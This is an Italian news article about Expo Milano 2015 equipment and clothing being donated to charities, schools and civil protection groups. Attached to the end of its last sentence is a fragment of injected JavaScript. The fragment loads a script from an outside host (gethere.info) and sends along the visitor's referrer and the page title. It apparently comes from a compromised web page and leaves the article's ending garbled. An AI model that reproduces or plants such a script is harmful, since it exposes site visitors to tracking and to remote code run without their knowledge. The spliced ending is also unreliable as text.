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lunedì 20 novembre 2017 09:05:05
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Cucine per clochard e abiti per detenuti: ecco la seconda vita degli oggetti Expo

12 gennaio 2017 Cronaca, Politica

Cucine, tablet, vestiti e altri beni mobili di Expo Milano 2015 sono ora nelle mani di associazioni no profit ed enti pubblici, in seguito all’assegnazione di cinque bandi proposti da Fondazione Triulza alla società Expo. Una “seconda vita” per questi materiali, rimasti inutilizzati dopo la chiusura della manifestazione, che esprime in pieno “la sostenibilità che aveva caratterizzato proprio Expo” ha spiegato Sonia Cantoni, del consiglio di amministrazione di Fondazione Cariplo, che ha dato un sostegno determinante per la realizzazione e l’organizzazione di questa iniziativa, durante la presentazione di alcuni assegnatari. La lotta allo spreco, lo sviluppo sostenibile e le logiche del riuso sono al centro di questo progetto, motivo per cui l’86% delle domande pervenute è stata presentata da organizzazioni ed enti che non distano più di 350 chilometri dall’ex sito espositivo, in una logica di salvaguardia anche dell’ambiente e di abbattimento dei costi di consegna.
Sono state raccolte 3.501 richieste di partecipazione e 194 sono le organizzazione assegnatarie, di cui 74 hanno già ricevuto il materiale. Le richieste più numerose riguardano le 15 cucine utilizzate nei cluster (1209 domande), una delle quali alla Protezione Civile di Rozzano, che la utilizzerà per situazioni di emergenza allestendola all’interno di un container mobile che sarà in grado di distribuire circa 1.800 pasti caldi. Sono, invece, 981 le richieste presentate dalle scuole, per i 1650 tablet, alcuni dei quali sono già stati assegnati all’Istituto comprensivo statale L. Cadorna, che arricchirà in questo modo la dotazione informatica della scuola e creerà un “laboratorio mobile”. Infine, il 37% delle richieste ha riguardato la cessione di gadget e vestiario: sono stati assegnati centinaia di pantaloni, giacche e scarpe (molte erano in dotazione al personale Expo o ai volontari); parte di questo abbigliamento è stato destinato all’Associazione Assistenza Carcerati e Famiglie di Gallarate, mentre le shopper di cotone utilizzate dai volontari, donate alla Fondazione Arché, che si occupa di scolarizzazione in Africa, diventeranno zaini per la scuola per bambini rimasti orfani in Gambia. Il valore totale dei beni assegnati supera i 100.000 euro.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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